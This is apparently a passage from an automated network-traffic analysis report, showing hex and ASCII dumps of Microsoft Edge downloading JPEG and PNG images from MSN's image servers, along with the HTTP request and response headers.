a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.2 (Windows)2023:03:24 01:53:118C
2024-11-20 17:57:53 UTC	16384	IN	Data Raw: a8 01 94 53 f6 7b 53 f6 9a 00 87 68 a6 ec ab 1b 4d 33 67 b5 00 45 b2 8a 97 67 b5 1b 3d a8 02 0a 2a 4d a2 8a 00 ec a8 a6 ee a3 75 64 d5 8a 1d 4d a3 75 11 d2 24 28 a3 75 14 da b0 05 14 51 48 06 d3 a9 b4 55 72 80 ea 28 a2 93 56 01 b4 53 a8 a4 03 68 a2 8a 69 5c 02 8a 28 aa 4e e0 3a 8a 6d 15 29 5c 07 51 4d a2 9c 80 28 a2 8a 49 5c 02 8a 29 b4 f9 40 75 14 da 4d f4 72 80 fa 29 9b e9 68 e5 00 a7 53 69 d4 da b8 0d a2 8a 29 72 80 51 45 3a a8 02 9b 4e a2 92 56 00 a2 8a 29 6c 01 45 14 53 6a e0 1b 68 a2 9d b6 96 c0 36 8a 29 d4 9a b0 0d a2 9d 45 20 1b 4e a2 8a 69 5c a0 a2 8a 29 09 85 14 51 40 82 8a 28 a0 a0 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 15 c2 8a 28 a0 61 45 14 50 24 14 51 45 01 70 a2 8a 28 10 da 29 d4 da 07 70 a2 8a 75 36 ac 17 1b 45 3a 9b 48 41 4d a7 51 Data Ascii: S{ShM3gEg=*MudMu$(uQHUr(VShi$N:m)\QM(I$@uMr)hSi)rQE:NV)lESjh6)E Ni\)Q@((((((aEP$QEp()pu6E:HAMQ
2024-11-20 17:57:53 UTC	16384	IN	Data Raw: be 1e d4 a1 f2 7c c9 e4 93 f7 72 57 3d a6 f9 71 79 90 79 df f4 ce b4 57 69 ae c3 d6 e8 b5 22 ef ff 00 7e 4a 64 72 5c 79 db 3c 98 63 ff 00 a6 95 62 c6 db cd f2 df fe 5a 47 4f b5 b6 db ab 79 0f fb bf 33 7c 7f f7 d5 09 26 ca 72 69 5c 66 db 8b 89 bc ff 00 f9 67 fe b3 cc aa b3 f9 92 c3 f2 4d fe b2 ae 43 06 ff 00 01 5c ff 00 cf 7b 2b 97 8e 4a 2d 65 9e 2f 0f 46 e9 fb c8 e3 d9 25 4f 2a 44 c6 a3 6c a3 1c 53 f9 34 e8 16 ed e6 de f0 f9 95 73 ed 3b 26 d9 e4 cd 1f ee fc cf f5 df de a8 fe d3 e5 4d 1c 13 43 fb bf f9 67 25 44 9c 9e c3 93 68 92 c6 09 3f 78 8f 0f 97 ff 00 4d 2b 42 ea 2b 4f ec ff 00 93 ce ff 00 b6 51 51 24 90 3c 32 6c f2 7c c8 ff 00 77 e6 7f cf 3a 67 db ad 3c 99 1d 26 86 3f fa 76 8b 7d 60 f9 e4 96 86 ad 5d 0b b6 d2 2f b4 bf f6 f4 3e 7c 7f ea ff 00 e9 a5 26 Data Ascii: \|rW=qyyWi"~Jdr\y<cbZGOy3\|&ri\fgMC\{+J-e/F%O*DlS4s;&MCg%Dh?xM+B+OQQ$<2l\|w:g<&?v}`]/>\|&
2024-11-20 17:57:53 UTC	16384	IN	Data Raw: 98 fb fe ef fb b5 e7 da 53 6a df bc d4 5f 58 9a 39 23 ff 00 97 9b 99 5d fc ca de 95 2b fb dc ce c7 1d 5b b9 68 7a 9e b3 a4 7f 69 cb 6d 74 9a c5 a5 bc f1 c9 ff 00 2c be e4 89 fd df 96 9d 75 f6 bd 1e 6f 3e f6 68 64 f2 e3 fd dd cc 5f 3d 72 ff 00 0f f5 c9 2e 35 cb 1d 22 c6 6f 32 7b 8b 94 fd e7 95 5e a1 f1 8b 57 f0 f7 83 3c 33 1c fe 4c 37 1a c5 c7 ee ed ad a5 fe e7 f1 48 f5 4f 99 cf 97 72 fd d8 ab 9e 73 25 d4 0f 34 4f 6b 67 e5 c9 e6 79 91 c9 fe dd 74 d6 3a d5 bf 8b 61 8f 48 d5 3f e3 fa 4f dd db 6b 5e 6f cf 6e ff 00 dc 93 fd 93 5c f6 9b 79 a2 f8 82 d2 29 d2 f2 1b 79 24 ff 00 9e 51 7c 91 ff 00 bc b5 3e b1 06 85 65 a7 ef b2 f3 ae 24 b8 ff 00 59 73 14 bb e1 8f fd a6 8e b5 d5 bb 0f 9d 40 ab 05 8e b5 6f e2 29 34 ed 46 f3 ec ff 00 62 93 cb 92 4f 2b 7f da 37 7f 0a 35 Data Ascii: Sj_X9#]+[hzimt,uo>hd_=r.5"o2{^W<3L7HOrs%4Okgyt:aH?Ok^on\y)y$Q\|>e$Ys@o)4FbO+75
2024-11-20 17:57:53 UTC	16384	IN	Data Raw: df a4 e0 92 2e 12 77 b1 3c 97 da b3 e9 f1 ff 00 a1 f9 71 c7 fe ae 3f e3 b7 7f f6 69 f3 69 91 db f9 69 7b 37 ef 2f 77 ff 00 a3 45 f3 f9 9f fd 95 67 ea b2 cf 6f fb ed 47 c9 8e 79 3f e5 9c 5f dc a8 21 96 3b 8d 46 39 de 6f 2f fe 5a 7f b7 1d 1c be ed d0 9e ae c4 ba e5 b5 ba 7d 99 ed 7f d1 ff 00 eb 97 fa ea 8b 4b 68 34 7d 43 67 9d fb f8 f7 c9 e6 7f 06 cf ee 55 a8 e2 d2 57 50 92 77 bc 87 cc 93 ff 00 21 d5 28 ed a3 ba bb 91 20 9a 1f 32 3f de 47 24 bf f2 ce aa 2d b5 66 35 4d 27 74 cb 49 bf 4f d2 64 ba b2 ff 00 47 f3 24 f3 23 8f ef f9 7f e7 b5 37 c3 2d 1f 9d fd b1 7d 79 0f 97 24 9f 67 92 3f f9 e6 cd f7 1d ff 00 d8 aa 7f 6c 92 ef e4 78 7c b9 e3 ff 00 59 e6 cb 55 e7 8a 7b 4d 5b 64 ff 00 bb 9f fe 79 4b f7 24 a7 28 26 bc cc dd 46 9d fa 1d 1d f6 a7 69 a3 da 5c a5 94 3f Data Ascii: .w<q?iii{7/wEgoGy?_!;F9o/Z}Kh4}CgUWPw!( 2?G$-f5M'tIOdG$#7-}y$g?lx\|YU{M[dyK$(&Fi\?
2024-11-20 17:57:53 UTC	16384	IN	Data Raw: 5a 7a 7f c1 31 63 bc 8d e2 f9 35 28 7c f9 3f e9 af c9 50 24 1a d3 cd bf ed 9e 5f fd b6 ae 8e 48 2d df f7 17 56 7f 68 92 48 ff 00 e3 e7 c9 a7 e9 b6 70 45 0e cb 58 7f 77 ff 00 5d 7f f8 aa 5c cc d3 d9 42 46 05 f2 f8 91 3c b4 4b cf dd ff 00 d7 2a cb d5 6e 75 db 49 b6 41 79 69 71 27 fc f3 97 e4 9a bb cb af 23 c9 f2 5e b9 5f 1d e9 fa d4 ba 1c 90 68 96 76 97 13 dc 7e ee 4f 36 5f f9 65 4e 33 77 d5 8a a5 18 db 44 66 c9 af 78 a2 d2 6f f4 d9 b4 9b 78 e3 df 24 be 6c 4f f7 16 bc 7b f6 96 f1 bd bf 88 3f b2 7c 30 93 69 d7 93 cb 27 da 3c d8 a5 7d 90 27 de dd fd ce 6b ca bc 4d 63 e2 1d 27 56 b9 4b ab cd 42 48 ed f7 c1 1f da 66 9b f7 89 fd d4 ac 6d 2b 5e 82 2b 4f b1 5e d9 cd b2 3f f5 72 7f cb 68 eb aa 35 29 59 b8 bb be fa 7e 86 4f 0d 3b a6 de 97 bd bf e0 dc d4 f1 75 b5 fd Data Ascii: Zz1c5(\|?P$_H-VhHpEXw]\BF<K*nuIAyiq'#^_hv~O6_eN3wDfxox$lO{?\|0i'<}'kMc'VKBHfm+^+O^?rh5)Y~O;u
2024-11-20 17:57:53 UTC	16384	IN	Data Raw: 86 69 23 92 4f 33 f7 5a 87 9c 91 ff 00 c0 6b 23 c4 6b 05 dd df 91 f6 c8 6f 6d 6e 3f d6 5c c5 f2 3f fc 0e 9b 94 ad b9 2f 95 34 92 b9 6a 3f 09 c7 a5 4d 1a 78 6b 58 fb 6d 8d c4 7f bb b9 fb ef ff 00 5c de a0 f1 a7 8f f5 ef 0f dd db 69 d6 be 4c 73 fd 89 3e d3 e6 c5 fd df bb b2 b3 f4 78 24 87 c4 36 3a 25 af da e4 82 4b 94 f3 23 8b ff 00 8a f6 a7 fc 7e d2 24 7f 10 5b 4f 6b a6 cd 6f 04 76 de 5f da 7c dd e9 22 2f f7 bf da a8 fd d4 a6 a1 3d 74 b8 e5 ed 14 39 a3 7d fa 1b de 0e f1 b4 f7 be 1e b9 ba 9e 1b 49 3e d9 27 ef 3c d8 93 66 f5 ff 00 96 7b ff 00 e5 9b 7a 54 5a c5 b6 85 ae da 47 a7 7d b3 56 d3 a3 8f f7 9e 5f da fc ef 9f fb bb 3f 86 b8 1f 85 da d4 1a 56 b9 25 96 a3 37 99 a7 5e fe ee 4a ee 7c 41 a4 3e 9f f3 e9 7f e9 b0 5c ff 00 cf 4f bf ff 00 01 7a be 58 46 7c a9 Data Ascii: i#O3Zk#komn?\?/4j?MxkXm\iLs>x$6:%K#~$[Okov_\|"/=t9}I>'<f{zTZG}V_?V%7^J\|A>\OzXF\|
2024-11-20 17:57:53 UTC	16067	IN	Data Raw: 8a 6d 89 22 7f b3 fd ca cd f0 ce a7 a9 5b dd fd 87 51 d3 7e cf 1f 99 fe b7 ee 3c 6f 5d 11 bc 65 69 18 be 4a aa f0 df c8 f6 ef ed 09 34 f8 7f b4 67 b3 b4 fd dc 7f bb fd d7 ef a3 7f ef 57 95 7e d0 3a d6 ad e2 38 6c 6e 9f 47 8b ec b6 72 79 7f 6d 8f fd 77 ef 3f 87 fd da ed 74 7d 43 ed b6 7b 2f 66 fd fc 7f bb f3 25 ff 00 96 89 50 6a ba 47 ef a4 78 ff 00 77 ff 00 2c eb ab 92 0a 2d 28 ab be a7 9f cf 27 35 26 de 87 cf 51 db 47 75 69 2e 9c f0 cd 1f ee fc bf f8 1f f0 d4 5e 03 b1 bf b2 f1 64 76 a9 e7 47 e6 7e ee e7 fd ca f4 6f 13 78 03 52 fe d0 fb 56 9d 67 e6 47 27 fc b3 8b fb f5 04 9a 0c fa 7f f6 6d f5 ee 9b 35 bd d4 97 3f bb 92 5f f9 69 fe c5 79 b5 97 2f b9 14 7a b4 da 76 9f 42 97 8b b4 fb b7 d3 f7 d9 7e ee 4f 31 2b 0f c4 1a 75 db fc 93 43 fb cf f9 e9 5e 89 63 17 Data Ascii: m"[Q~<o]eiJ4gW~:8lnGrymw?t}C{/f%PjGxw,-('5&QGui.^dvG~oxRVgG'm5?_iy/zvB~O1+uC^c
2024-11-20 17:57:53 UTC	16384	IN	Data Raw: 99 25 b5 ce 9f e7 6f 4f ee f9 ab f7 73 5c 27 8e 3c 46 9e 20 f1 e5 ee a9 65 67 36 8d 6b a8 dc bd dc b6 57 3f 3f 98 ed f7 be 7a 8a 0b 68 1e 1f b7 68 93 45 7b 27 fd 7d ec aa 7e 26 5f b7 4d 25 ae a3 37 97 75 fe b2 3f 2b ee 56 ae bc a7 16 9f 5f 45 f9 1c f0 c2 d0 a5 35 28 2d bc db df d4 74 7a ae 9a 93 45 ff 00 13 29 a3 93 fe 5a 4b f7 e1 8d ff 00 e0 55 bd a6 dd 5a 3d a6 ff 00 f8 98 49 27 fc b4 92 4f 93 ff 00 41 af 39 b5 b3 fe cf 9a 2f b5 7e f3 fe 5a 47 fc 69 ba ba 0d 2b 53 92 ee 1f 92 6f df c7 fe b2 e6 5f 93 fe 01 51 1a 8e 2b 47 63 79 53 a7 34 b9 95 ce d7 ec d2 79 5e 7e 9d 79 77 6f 3c 7f f2 ce 2b b7 4f 31 3f be bf 35 66 dd 6a 7e 24 fd e5 95 ee b1 a8 6b 50 49 b2 4f 2e fa ed e6 fb bf ef 7f 15 50 d0 d6 3b bf 32 64 bc f2 e4 ff 00 96 76 df c1 27 fb ad 54 ed 6e 6e e5 Data Ascii: %oOs\'<F eg6kW??zhhE{'}~&_M%7u?+V_E5(-tzE)ZKUZ=I'OA9/~ZGi+So_Q+GcyS4y^~ywo<+O1?5fj~$kPIO.P;2dv'Tnn
2024-11-20 17:57:53 UTC	16384	IN	Data Raw: 79 7f e8 df 3f cf 59 b1 b6 93 a8 43 26 c9 bf eb a7 ee 9f f7 75 37 81 e2 f8 7b fd ad 72 f0 5e 6a d1 cf ff 00 2f 31 ea 51 26 f9 3f bb f7 2b b9 d0 34 cf 09 eb 7f f1 eb e2 4f b3 f9 72 24 7f 62 f2 76 3f fc 05 68 94 a7 1f b2 c7 4f 03 85 ae 9f 3b 4e fd 0e 0e 0f 09 41 69 37 da ad 75 29 a3 93 fe 99 7c 95 a9 6b aa f8 87 4f ff 00 45 7b c8 6f 64 8f fe 99 7c ff 00 fd 95 75 ba 8d 8e 8b 65 f6 9b 5b 5d 37 ed bf 73 f7 9e 6d 60 df 41 05 dc 31 bd ee 8f e5 c1 27 ee e3 b9 8e 57 a7 ed 67 24 9d 88 a5 94 61 a8 3b d3 bc 7d 2e 5f f0 5f 8c 75 2f b5 ec 9f ce b2 ff 00 96 7e 5d b4 48 8f ff 00 7c 37 de ae b6 d7 c5 9a d7 df bd 86 d3 51 b4 f2 ff 00 e5 ad a4 d0 cd ff 00 7c 74 af 2d b1 b1 d1 6d 2e fc bd 3a f2 ee e2 3f 33 fd 5c b1 7f f1 55 bd 75 fd 9a f0 ef 9e f3 50 8e 0f f5 72 49 2c ae 9f Data Ascii: y?YC&u7{r^j/1Q&?+4Or$bv?hO;NAi7u)\|kOE{od\|ue[]7sm`A1'Wg$a;}.__u/~]H\|7Q\|t-m.:?3\UuPrI,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	49899	104.117.182.18	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:52 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 17:57:53 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Thu, 14 Nov 2024 13:08:58 GMT X-Source-Length: 1658 X-Datacenter: westus X-ActivityId: 5207dc63-23db-47af-bb98-7b1841fb9ec3 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=285171 Expires: Sun, 24 Nov 2024 01:10:44 GMT Date: Wed, 20 Nov 2024 17:57:53 GMT Connection: close
2024-11-20 17:57:53 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	49900	104.117.182.18	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:52 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 17:57:53 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=417518 Expires: Mon, 25 Nov 2024 13:56:31 GMT Date: Wed, 20 Nov 2024 17:57:53 GMT Connection: close
2024-11-20 17:57:53 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49902	104.117.182.18	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:52 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 17:57:53 UTC	516	IN	HTTP/1.1 200 OK Last-Modified: Sun, 10 Nov 2024 06:13:55 GMT Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G X-Source-Length: 5699 X-Datacenter: eastap X-ActivityId: 96a315e5-981f-47e5-bbfa-17d63c15ba44 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=303338 Expires: Sun, 24 Nov 2024 06:13:31 GMT Date: Wed, 20 Nov 2024 17:57:53 GMT Connection: close
2024-11-20 17:57:53 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49901	104.117.182.18	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:52 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 17:57:53 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:23 GMT X-Datacenter: westus X-ActivityId: 9e7c39fd-58db-4e2c-957a-f382c8e91634 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=113409 Expires: Fri, 22 Nov 2024 01:28:02 GMT Date: Wed, 20 Nov 2024 17:57:53 GMT Connection: close
2024-11-20 17:57:53 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49903	104.117.182.18	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:52 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 17:57:53 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=400766 Expires: Mon, 25 Nov 2024 09:17:19 GMT Date: Wed, 20 Nov 2024 17:57:53 GMT Connection: close
2024-11-20 17:57:53 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49895	18.173.219.84	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
